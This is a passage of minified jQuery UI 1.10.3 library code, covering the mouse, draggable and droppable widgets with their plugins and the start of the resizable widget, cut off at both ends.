n&&(n={duration:n}),a=!t.isEmptyObject(n),n.complete=o,n.delay&&s.delay(n.delay),a&&t.effects&&t.effects.effect[r]?s[e](n):r!==e&&s[r]?s[r](n.duration,n.easing,o):s.queue(function(i){t(this)[e](),o&&o.call(s[0]),i()})}})}(jQuery),function(t){var e=!1;t(document).mouseup(function(){e=!1}),t.widget("ui.mouse",{version:"1.10.3",options:{cancel:"input,textarea,button,select,option",distance:1,delay:0},_mouseInit:function(){var e=this;this.element.bind("mousedown."+this.widgetName,function(t){return e._mouseDown(t)}).bind("click."+this.widgetName,function(i){return!0===t.data(i.target,e.widgetName+".preventClickEvent")?(t.removeData(i.target,e.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):undefined}),this.started=!1},_mouseDestroy:function(){this.element.unbind("."+this.widgetName),this._mouseMoveDelegate&&t(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(i){if(!e){this._mouseStarted&&this._mouseUp(i),this._mouseDownEvent=i;var s=this,n=1===i.which,o="string"==typeof this.options.cancel&&i.target.nodeName?t(i.target).closest(this.options.cancel).length:!1;return n&&!o&&this._mouseCapture(i)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){s.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(i)&&this._mouseDelayMet(i)&&(this._mouseStarted=this._mouseStart(i)!==!1,!this._mouseStarted)?(i.preventDefault(),!0):(!0===t.data(i.target,this.widgetName+".preventClickEvent")&&t.removeData(i.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(t){return s._mouseMove(t)},this._mouseUpDelegate=function(t){return s._mouseUp(t)},t(document).bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate),i.preventDefault(),e=!0,!0)):!0}},_mouseMove:function(e){return t.ui.ie&&(!document.documentMode||9>document.documentMode)&&!e.button?this._mouseUp(e):this._mouseStarted?(this._mouseDrag(e),e.preventDefault()):(this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,e)!==!1,this._mouseStarted?this._mouseDrag(e):this._mouseUp(e)),!this._mouseStarted)},_mouseUp:function(e){return t(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,e.target===this._mouseDownEvent.target&&t.data(e.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(e)),!1},_mouseDistanceMet:function(t){return Math.max(Math.abs(this._mouseDownEvent.pageX-t.pageX),Math.abs(this._mouseDownEvent.pageY-t.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}})}(jQuery),function(t){t.widget("ui.draggable",t.ui.mouse,{version:"1.10.3",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"!==this.options.helper||/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative"),this.options.addClasses&&this.element.addClass("ui-draggable"),this.options.disabled&&this.element.addClass("ui-draggable-disabled"),this._mouseInit()},_destroy:function(){this.element.removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled"),this._mouseDestroy()},_mouseCapture:function(e){var i=this.options;return this.helper||i.disabled||t(e.target).closest(".ui-resizable-handle").length>0?!1:(this.handle=this._getHandle(e),this.handle?(t(i.iframeFix===!0?"iframe":i.iframeFix).each(function(){t("<div class='ui-draggable-iframeFix' style='background: #fff;'></div>").css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1e3}).css(t(this).offset()).appendTo("body")}),!0):!1)},_mouseStart:function(e){var i=this.options;return this.helper=this._createHelper(e),this.helper.addClass("ui-draggable-dragging"),this._cacheHelperProportions(),t.ui.ddmanager&&(t.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(),this.offsetParent=this.helper.offsetParent(),this.offsetParentCssPosition=this.offsetParent.css("position"),this.offset=this.positionAbs=this.element.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},this.offset.scroll=!1,t.extend(this.offset,{click:{left:e.pageX-this.offset.left,top:e.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.originalPosition=this.position=this._generatePosition(e),this.originalPageX=e.pageX,this.originalPageY=e.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),this._trigger("start",e)===!1?(this._clear(),!1):(this._cacheHelperProportions(),t.ui.ddmanager&&!i.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e),this._mouseDrag(e,!0),t.ui.ddmanager&&t.ui.ddmanager.dragStart(this,e),!0)},_mouseDrag:function(e,i){if("fixed"===this.offsetParentCssPosition&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(e),this.positionAbs=this._convertPositionTo("absolute"),!i){var s=this._uiHash();if(this._trigger("drag",e,s)===!1)return this._mouseUp({}),!1;this.position=s.position}return this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),t.ui.ddmanager&&t.ui.ddmanager.drag(this,e),!1},_mouseStop:function(e){var i=this,s=!1;return t.ui.ddmanager&&!this.options.dropBehaviour&&(s=t.ui.ddmanager.drop(this,e)),this.dropped&&(s=this.dropped,this.dropped=!1),"original"!==this.options.helper||t.contains(this.element[0].ownerDocument,this.element[0])?("invalid"===this.options.revert&&!s||"valid"===this.options.revert&&s||this.options.revert===!0||t.isFunction(this.options.revert)&&this.options.revert.call(this.element,s)?t(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){i._trigger("stop",e)!==!1&&i._clear()}):this._trigger("stop",e)!==!1&&this._clear(),!1):!1},_mouseUp:function(e){return t("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this)}),t.ui.ddmanager&&t.ui.ddmanager.dragStop(this,e),t.ui.mouse.prototype._mouseUp.call(this,e)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear(),this},_getHandle:function(e){return this.options.handle?!!t(e.target).closest(this.element.find(this.options.handle)).length:!0},_createHelper:function(e){var i=this.options,s=t.isFunction(i.helper)?t(i.helper.apply(this.element[0],[e])):"clone"===i.helper?this.element.clone().removeAttr("id"):this.element;return s.parents("body").length||s.appendTo("parent"===i.appendTo?this.element[0].parentNode:i.appendTo),s[0]===this.element[0]||/(fixed|absolute)/.test(s.css("position"))||s.css("position","absolute"),s},_adjustOffsetFromHelper:function(e){"string"==typeof e&&(e=e.split(" ")),t.isArray(e)&&(e={left:+e[0],top:+e[1]||0}),"left"in e&&(this.offset.click.left=e.left+this.margins.left),"right"in e&&(this.offset.click.left=this.helperProportions.width-e.right+this.margins.left),"top"in e&&(this.offset.click.top=e.top+this.margins.top),"bottom"in e&&(this.offset.click.top=this.helperProportions.height-e.bottom+this.margins.top)},_getParentOffset:function(){var e=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==document&&t.contains(this.scrollParent[0],this.offsetParent[0])&&(e.left+=this.scrollParent.scrollLeft(),e.top+=this.scrollParent.scrollTop()),(this.offsetParent[0]===document.body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&t.ui.ie)&&(e={top:0,left:0}),{top:e.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:e.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"===this.cssPosition){var t=this.element.position();return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:t.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var e,i,s,n=this.options;return n.containment?"window"===n.containment?(this.containment=[t(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,t(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,t(window).scrollLeft()+t(window).width()-this.helperProportions.width-this.margins.left,t(window).scrollTop()+(t(window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],undefined):"document"===n.containment?(this.containment=[0,0,t(document).width()-this.helperProportions.width-this.margins.left,(t(document).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],undefined):n.containment.constructor===Array?(this.containment=n.containment,undefined):("parent"===n.containment&&(n.containment=this.helper[0].parentNode),i=t(n.containment),s=i[0],s&&(e="hidden"!==i.css("overflow"),this.containment=[(parseInt(i.css("borderLeftWidth"),10)||0)+(parseInt(i.css("paddingLeft"),10)||0),(parseInt(i.css("borderTopWidth"),10)||0)+(parseInt(i.css("paddingTop"),10)||0),(e?Math.max(s.scrollWidth,s.offsetWidth):s.offsetWidth)-(parseInt(i.css("borderRightWidth"),10)||0)-(parseInt(i.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(e?Math.max(s.scrollHeight,s.offsetHeight):s.offsetHeight)-(parseInt(i.css("borderBottomWidth"),10)||0)-(parseInt(i.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relative_container=i),undefined):(this.containment=null,undefined)},_convertPositionTo:function(e,i){i||(i=this.position);var s="absolute"===e?1:-1,n="absolute"!==this.cssPosition||this.scrollParent[0]!==document&&t.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent;return this.offset.scroll||(this.offset.scroll={top:n.scrollTop(),left:n.scrollLeft()}),{top:i.top+this.offset.relative.top*s+this.offset.parent.top*s-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():this.offset.scroll.top)*s,left:i.left+this.offset.relative.left*s+this.offset.parent.left*s-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():this.offset.scroll.left)*s}},_generatePosition:function(e){var i,s,n,o,a=this.options,r="absolute"!==this.cssPosition||this.scrollParent[0]!==document&&t.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,h=e.pageX,l=e.pageY;return this.offset.scroll||(this.offset.scroll={top:r.scrollTop(),left:r.scrollLeft()}),this.originalPosition&&(this.containment&&(this.relative_container?(s=this.relative_container.offset(),i=[this.containment[0]+s.left,this.containment[1]+s.top,this.containment[2]+s.left,this.containment[3]+s.top]):i=this.containment,e.pageX-this.offset.click.left<i[0]&&(h=i[0]+this.offset.click.left),e.pageY-this.offset.click.top<i[1]&&(l=i[1]+this.offset.click.top),e.pageX-this.offset.click.left>i[2]&&(h=i[2]+this.offset.click.left),e.pageY-this.offset.click.top>i[3]&&(l=i[3]+this.offset.click.top)),a.grid&&(n=a.grid[1]?this.originalPageY+Math.round((l-this.originalPageY)/a.grid[1])*a.grid[1]:this.originalPageY,l=i?n-this.offset.click.top>=i[1]||n-this.offset.click.top>i[3]?n:n-this.offset.click.top>=i[1]?n-a.grid[1]:n+a.grid[1]:n,o=a.grid[0]?this.originalPageX+Math.round((h-this.originalPageX)/a.grid[0])*a.grid[0]:this.originalPageX,h=i?o-this.offset.click.left>=i[0]||o-this.offset.click.left>i[2]?o:o-this.offset.click.left>=i[0]?o-a.grid[0]:o+a.grid[0]:o)),{top:l-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():this.offset.scroll.top),left:h-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():this.offset.scroll.left)}},_clear:function(){this.helper.removeClass("ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1},_trigger:function(e,i,s){return s=s||this._uiHash(),t.ui.plugin.call(this,e,[i,s]),"drag"===e&&(this.positionAbs=this._convertPositionTo("absolute")),t.Widget.prototype._trigger.call(this,e,i,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),t.ui.plugin.add("draggable","connectToSortable",{start:function(e,i){var s=t(this).data("ui-draggable"),n=s.options,o=t.extend({},i,{item:s.element});s.sortables=[],t(n.connectToSortable).each(function(){var i=t.data(this,"ui-sortable");i&&!i.options.disabled&&(s.sortables.push({instance:i,shouldRevert:i.options.revert}),i.refreshPositions(),i._trigger("activate",e,o))})},stop:function(e,i){var s=t(this).data("ui-draggable"),n=t.extend({},i,{item:s.element});t.each(s.sortables,function(){this.instance.isOver?(this.instance.isOver=0,s.cancelHelperRemoval=!0,this.instance.cancelHelperRemoval=!1,this.shouldRevert&&(this.instance.options.revert=this.shouldRevert),this.instance._mouseStop(e),this.instance.options.helper=this.instance.options._helper,"original"===s.options.helper&&this.instance.currentItem.css({top:"auto",left:"auto"})):(this.instance.cancelHelperRemoval=!1,this.instance._trigger("deactivate",e,n))})},drag:function(e,i){var s=t(this).data("ui-draggable"),n=this;t.each(s.sortables,function(){var o=!1,a=this;this.instance.positionAbs=s.positionAbs,this.instance.helperProportions=s.helperProportions,this.instance.offset.click=s.offset.click,this.instance._intersectsWith(this.instance.containerCache)&&(o=!0,t.each(s.sortables,function(){return this.instance.positionAbs=s.positionAbs,this.instance.helperProportions=s.helperProportions,this.instance.offset.click=s.offset.click,this!==a&&this.instance._intersectsWith(this.instance.containerCache)&&t.contains(a.instance.element[0],this.instance.element[0])&&(o=!1),o})),o?(this.instance.isOver||(this.instance.isOver=1,this.instance.currentItem=t(n).clone().removeAttr("id").appendTo(this.instance.element).data("ui-sortable-item",!0),this.instance.options._helper=this.instance.options.helper,this.instance.options.helper=function(){return i.helper[0]},e.target=this.instance.currentItem[0],this.instance._mouseCapture(e,!0),this.instance._mouseStart(e,!0,!0),this.instance.offset.click.top=s.offset.click.top,this.instance.offset.click.left=s.offset.click.left,this.instance.offset.parent.left-=s.offset.parent.left-this.instance.offset.parent.left,this.instance.offset.parent.top-=s.offset.parent.top-this.instance.offset.parent.top,s._trigger("toSortable",e),s.dropped=this.instance.element,s.currentItem=s.element,this.instance.fromOutside=s),this.instance.currentItem&&this.instance._mouseDrag(e)):this.instance.isOver&&(this.instance.isOver=0,this.instance.cancelHelperRemoval=!0,this.instance.options.revert=!1,this.instance._trigger("out",e,this.instance._uiHash(this.instance)),this.instance._mouseStop(e,!0),this.instance.options.helper=this.instance.options._helper,this.instance.currentItem.remove(),this.instance.placeholder&&this.instance.placeholder.remove(),s._trigger("fromSortable",e),s.dropped=!1)})}}),t.ui.plugin.add("draggable","cursor",{start:function(){var e=t("body"),i=t(this).data("ui-draggable").options;e.css("cursor")&&(i._cursor=e.css("cursor")),e.css("cursor",i.cursor)},stop:function(){var e=t(this).data("ui-draggable").options;e._cursor&&t("body").css("cursor",e._cursor)}}),t.ui.plugin.add("draggable","opacity",{start:function(e,i){var s=t(i.helper),n=t(this).data("ui-draggable").options;s.css("opacity")&&(n._opacity=s.css("opacity")),s.css("opacity",n.opacity)},stop:function(e,i){var s=t(this).data("ui-draggable").options;s._opacity&&t(i.helper).css("opacity",s._opacity)}}),t.ui.plugin.add("draggable","scroll",{start:function(){var e=t(this).data("ui-draggable");e.scrollParent[0]!==document&&"HTML"!==e.scrollParent[0].tagName&&(e.overflowOffset=e.scrollParent.offset())},drag:function(e){var i=t(this).data("ui-draggable"),s=i.options,n=!1;i.scrollParent[0]!==document&&"HTML"!==i.scrollParent[0].tagName?(s.axis&&"x"===s.axis||(i.overflowOffset.top+i.scrollParent[0].offsetHeight-e.pageY<s.scrollSensitivity?i.scrollParent[0].scrollTop=n=i.scrollParent[0].scrollTop+s.scrollSpeed:e.pageY-i.overflowOffset.top<s.scrollSensitivity&&(i.scrollParent[0].scrollTop=n=i.scrollParent[0].scrollTop-s.scrollSpeed)),s.axis&&"y"===s.axis||(i.overflowOffset.left+i.scrollParent[0].offsetWidth-e.pageX<s.scrollSensitivity?i.scrollParent[0].scrollLeft=n=i.scrollParent[0].scrollLeft+s.scrollSpeed:e.pageX-i.overflowOffset.left<s.scrollSensitivity&&(i.scrollParent[0].scrollLeft=n=i.scrollParent[0].scrollLeft-s.scrollSpeed))):(s.axis&&"x"===s.axis||(e.pageY-t(document).scrollTop()<s.scrollSensitivity?n=t(document).scrollTop(t(document).scrollTop()-s.scrollSpeed):t(window).height()-(e.pageY-t(document).scrollTop())<s.scrollSensitivity&&(n=t(document).scrollTop(t(document).scrollTop()+s.scrollSpeed))),s.axis&&"y"===s.axis||(e.pageX-t(document).scrollLeft()<s.scrollSensitivity?n=t(document).scrollLeft(t(document).scrollLeft()-s.scrollSpeed):t(window).width()-(e.pageX-t(document).scrollLeft())<s.scrollSensitivity&&(n=t(document).scrollLeft(t(document).scrollLeft()+s.scrollSpeed)))),n!==!1&&t.ui.ddmanager&&!s.dropBehaviour&&t.ui.ddmanager.prepareOffsets(i,e)}}),t.ui.plugin.add("draggable","snap",{start:function(){var e=t(this).data("ui-draggable"),i=e.options;e.snapElements=[],t(i.snap.constructor!==String?i.snap.items||":data(ui-draggable)":i.snap).each(function(){var i=t(this),s=i.offset();this!==e.element[0]&&e.snapElements.push({item:this,width:i.outerWidth(),height:i.outerHeight(),top:s.top,left:s.left})})},drag:function(e,i){var s,n,o,a,r,h,l,c,u,d,p=t(this).data("ui-draggable"),f=p.options,g=f.snapTolerance,m=i.offset.left,v=m+p.helperProportions.width,_=i.offset.top,b=_+p.helperProportions.height;for(u=p.snapElements.length-1;u>=0;u--)r=p.snapElements[u].left,h=r+p.snapElements[u].width,l=p.snapElements[u].top,c=l+p.snapElements[u].height,r-g>v||m>h+g||l-g>b||_>c+g||!t.contains(p.snapElements[u].item.ownerDocument,p.snapElements[u].item)?(p.snapElements[u].snapping&&p.options.snap.release&&p.options.snap.release.call(p.element,e,t.extend(p._uiHash(),{snapItem:p.snapElements[u].item})),p.snapElements[u].snapping=!1):("inner"!==f.snapMode&&(s=g>=Math.abs(l-b),n=g>=Math.abs(c-_),o=g>=Math.abs(r-v),a=g>=Math.abs(h-m),s&&(i.position.top=p._convertPositionTo("relative",{top:l-p.helperProportions.height,left:0}).top-p.margins.top),n&&(i.position.top=p._convertPositionTo("relative",{top:c,left:0}).top-p.margins.top),o&&(i.position.left=p._convertPositionTo("relative",{top:0,left:r-p.helperProportions.width}).left-p.margins.left),a&&(i.position.left=p._convertPositionTo("relative",{top:0,left:h}).left-p.margins.left)),d=s||n||o||a,"outer"!==f.snapMode&&(s=g>=Math.abs(l-_),n=g>=Math.abs(c-b),o=g>=Math.abs(r-m),a=g>=Math.abs(h-v),s&&(i.position.top=p._convertPositionTo("relative",{top:l,left:0}).top-p.margins.top),n&&(i.position.top=p._convertPositionTo("relative",{top:c-p.helperProportions.height,left:0}).top-p.margins.top),o&&(i.position.left=p._convertPositionTo("relative",{top:0,left:r}).left-p.margins.left),a&&(i.position.left=p._convertPositionTo("relative",{top:0,left:h-p.helperProportions.width}).left-p.margins.left)),!p.snapElements[u].snapping&&(s||n||o||a||d)&&p.options.snap.snap&&p.options.snap.snap.call(p.element,e,t.extend(p._uiHash(),{snapItem:p.snapElements[u].item})),p.snapElements[u].snapping=s||n||o||a||d)}}),t.ui.plugin.add("draggable","stack",{start:function(){var e,i=this.data("ui-draggable").options,s=t.makeArray(t(i.stack)).sort(function(e,i){return(parseInt(t(e).css("zIndex"),10)||0)-(parseInt(t(i).css("zIndex"),10)||0)});s.length&&(e=parseInt(t(s[0]).css("zIndex"),10)||0,t(s).each(function(i){t(this).css("zIndex",e+i)}),this.css("zIndex",e+s.length))}}),t.ui.plugin.add("draggable","zIndex",{start:function(e,i){var s=t(i.helper),n=t(this).data("ui-draggable").options;s.css("zIndex")&&(n._zIndex=s.css("zIndex")),s.css("zIndex",n.zIndex)},stop:function(e,i){var s=t(this).data("ui-draggable").options;s._zIndex&&t(i.helper).css("zIndex",s._zIndex)}})}(jQuery),function(t){function e(t,e,i){return t>e&&e+i>t}t.widget("ui.droppable",{version:"1.10.3",widgetEventPrefix:"drop",options:{accept:"*",activeClass:!1,addClasses:!0,greedy:!1,hoverClass:!1,scope:"default",tolerance:"intersect",activate:null,deactivate:null,drop:null,out:null,over:null},_create:function(){var e=this.options,i=e.accept;this.isover=!1,this.isout=!0,this.accept=t.isFunction(i)?i:function(t){return t.is(i)
},this.proportions={width:this.element[0].offsetWidth,height:this.element[0].offsetHeight},t.ui.ddmanager.droppables[e.scope]=t.ui.ddmanager.droppables[e.scope]||[],t.ui.ddmanager.droppables[e.scope].push(this),e.addClasses&&this.element.addClass("ui-droppable")},_destroy:function(){for(var e=0,i=t.ui.ddmanager.droppables[this.options.scope];i.length>e;e++)i[e]===this&&i.splice(e,1);this.element.removeClass("ui-droppable ui-droppable-disabled")},_setOption:function(e,i){"accept"===e&&(this.accept=t.isFunction(i)?i:function(t){return t.is(i)}),t.Widget.prototype._setOption.apply(this,arguments)},_activate:function(e){var i=t.ui.ddmanager.current;this.options.activeClass&&this.element.addClass(this.options.activeClass),i&&this._trigger("activate",e,this.ui(i))},_deactivate:function(e){var i=t.ui.ddmanager.current;this.options.activeClass&&this.element.removeClass(this.options.activeClass),i&&this._trigger("deactivate",e,this.ui(i))},_over:function(e){var i=t.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this.options.hoverClass&&this.element.addClass(this.options.hoverClass),this._trigger("over",e,this.ui(i)))},_out:function(e){var i=t.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this.options.hoverClass&&this.element.removeClass(this.options.hoverClass),this._trigger("out",e,this.ui(i)))},_drop:function(e,i){var s=i||t.ui.ddmanager.current,n=!1;return s&&(s.currentItem||s.element)[0]!==this.element[0]?(this.element.find(":data(ui-droppable)").not(".ui-draggable-dragging").each(function(){var e=t.data(this,"ui-droppable");return e.options.greedy&&!e.options.disabled&&e.options.scope===s.options.scope&&e.accept.call(e.element[0],s.currentItem||s.element)&&t.ui.intersect(s,t.extend(e,{offset:e.element.offset()}),e.options.tolerance)?(n=!0,!1):undefined}),n?!1:this.accept.call(this.element[0],s.currentItem||s.element)?(this.options.activeClass&&this.element.removeClass(this.options.activeClass),this.options.hoverClass&&this.element.removeClass(this.options.hoverClass),this._trigger("drop",e,this.ui(s)),this.element):!1):!1},ui:function(t){return{draggable:t.currentItem||t.element,helper:t.helper,position:t.position,offset:t.positionAbs}}}),t.ui.intersect=function(t,i,s){if(!i.offset)return!1;var n,o,a=(t.positionAbs||t.position.absolute).left,r=a+t.helperProportions.width,h=(t.positionAbs||t.position.absolute).top,l=h+t.helperProportions.height,c=i.offset.left,u=c+i.proportions.width,d=i.offset.top,p=d+i.proportions.height;switch(s){case"fit":return a>=c&&u>=r&&h>=d&&p>=l;case"intersect":return a+t.helperProportions.width/2>c&&u>r-t.helperProportions.width/2&&h+t.helperProportions.height/2>d&&p>l-t.helperProportions.height/2;case"pointer":return n=(t.positionAbs||t.position.absolute).left+(t.clickOffset||t.offset.click).left,o=(t.positionAbs||t.position.absolute).top+(t.clickOffset||t.offset.click).top,e(o,d,i.proportions.height)&&e(n,c,i.proportions.width);case"touch":return(h>=d&&p>=h||l>=d&&p>=l||d>h&&l>p)&&(a>=c&&u>=a||r>=c&&u>=r||c>a&&r>u);default:return!1}},t.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(e,i){var s,n,o=t.ui.ddmanager.droppables[e.options.scope]||[],a=i?i.type:null,r=(e.currentItem||e.element).find(":data(ui-droppable)").addBack();t:for(s=0;o.length>s;s++)if(!(o[s].options.disabled||e&&!o[s].accept.call(o[s].element[0],e.currentItem||e.element))){for(n=0;r.length>n;n++)if(r[n]===o[s].element[0]){o[s].proportions.height=0;continue t}o[s].visible="none"!==o[s].element.css("display"),o[s].visible&&("mousedown"===a&&o[s]._activate.call(o[s],i),o[s].offset=o[s].element.offset(),o[s].proportions={width:o[s].element[0].offsetWidth,height:o[s].element[0].offsetHeight})}},drop:function(e,i){var s=!1;return t.each((t.ui.ddmanager.droppables[e.options.scope]||[]).slice(),function(){this.options&&(!this.options.disabled&&this.visible&&t.ui.intersect(e,this,this.options.tolerance)&&(s=this._drop.call(this,i)||s),!this.options.disabled&&this.visible&&this.accept.call(this.element[0],e.currentItem||e.element)&&(this.isout=!0,this.isover=!1,this._deactivate.call(this,i)))}),s},dragStart:function(e,i){e.element.parentsUntil("body").bind("scroll.droppable",function(){e.options.refreshPositions||t.ui.ddmanager.prepareOffsets(e,i)})},drag:function(e,i){e.options.refreshPositions&&t.ui.ddmanager.prepareOffsets(e,i),t.each(t.ui.ddmanager.droppables[e.options.scope]||[],function(){if(!this.options.disabled&&!this.greedyChild&&this.visible){var s,n,o,a=t.ui.intersect(e,this,this.options.tolerance),r=!a&&this.isover?"isout":a&&!this.isover?"isover":null;r&&(this.options.greedy&&(n=this.options.scope,o=this.element.parents(":data(ui-droppable)").filter(function(){return t.data(this,"ui-droppable").options.scope===n}),o.length&&(s=t.data(o[0],"ui-droppable"),s.greedyChild="isover"===r)),s&&"isover"===r&&(s.isover=!1,s.isout=!0,s._out.call(s,i)),this[r]=!0,this["isout"===r?"isover":"isout"]=!1,this["isover"===r?"_over":"_out"].call(this,i),s&&"isout"===r&&(s.isout=!1,s.isover=!0,s._over.call(s,i)))}})},dragStop:function(e,i){e.element.parentsUntil("body").unbind("scroll.droppable"),e.options.refreshPositions||t.ui.ddmanager.prepareOffsets(e,i)}}}(jQuery),function(t){function e(t){return parseInt(t,10)||0}function i(t){return!isNaN(parseInt(t,10))}t.widget("ui.resizable",t.ui.mouse,{version:"1.10.3",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_create:function(){var e,i,s,n,o,a=this,r=this.options;if(this.element.addClass("ui-resizable"),t.extend(this,{_aspectRatio:!!r.aspectRatio,aspectRatio:r.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:r.helper||r.ghost||r.animate?r.helper||"ui-resizable-helper":null}),this.element[0].nodeName.match(/canvas|textarea|input|select|button|img/i)&&(this.element.wrap(t("<div class='ui-wrapper' style='overflow: hidden;'></div>").css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.data("ui-resizable")),this.elementIsWrapper=!0,this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")}),this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0}),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css({margin:this.originalElement.css("margin")}),this._proportionallyResize()),this.handles=r.handles||(t(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se"),this.handles.constructor===String)for("all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw"),e=this.handles.split(","),this.handles={},i=0;e.length>i;i++)s=t.trim(e[i]),o="ui-resizable-"+s,n=t("<div class='ui-resizable-handle "+o+"'></div>"),n.css({zIndex:r.zIndex}),"se"===s&&n.addClass("ui-icon ui-icon-gripsmall-diagonal-se"),this.handles[s]=".ui-resizable-"+s,this.element.append(n);this._renderAxis=function(e){var i,s,n,o;e=e||this.element;for(i in 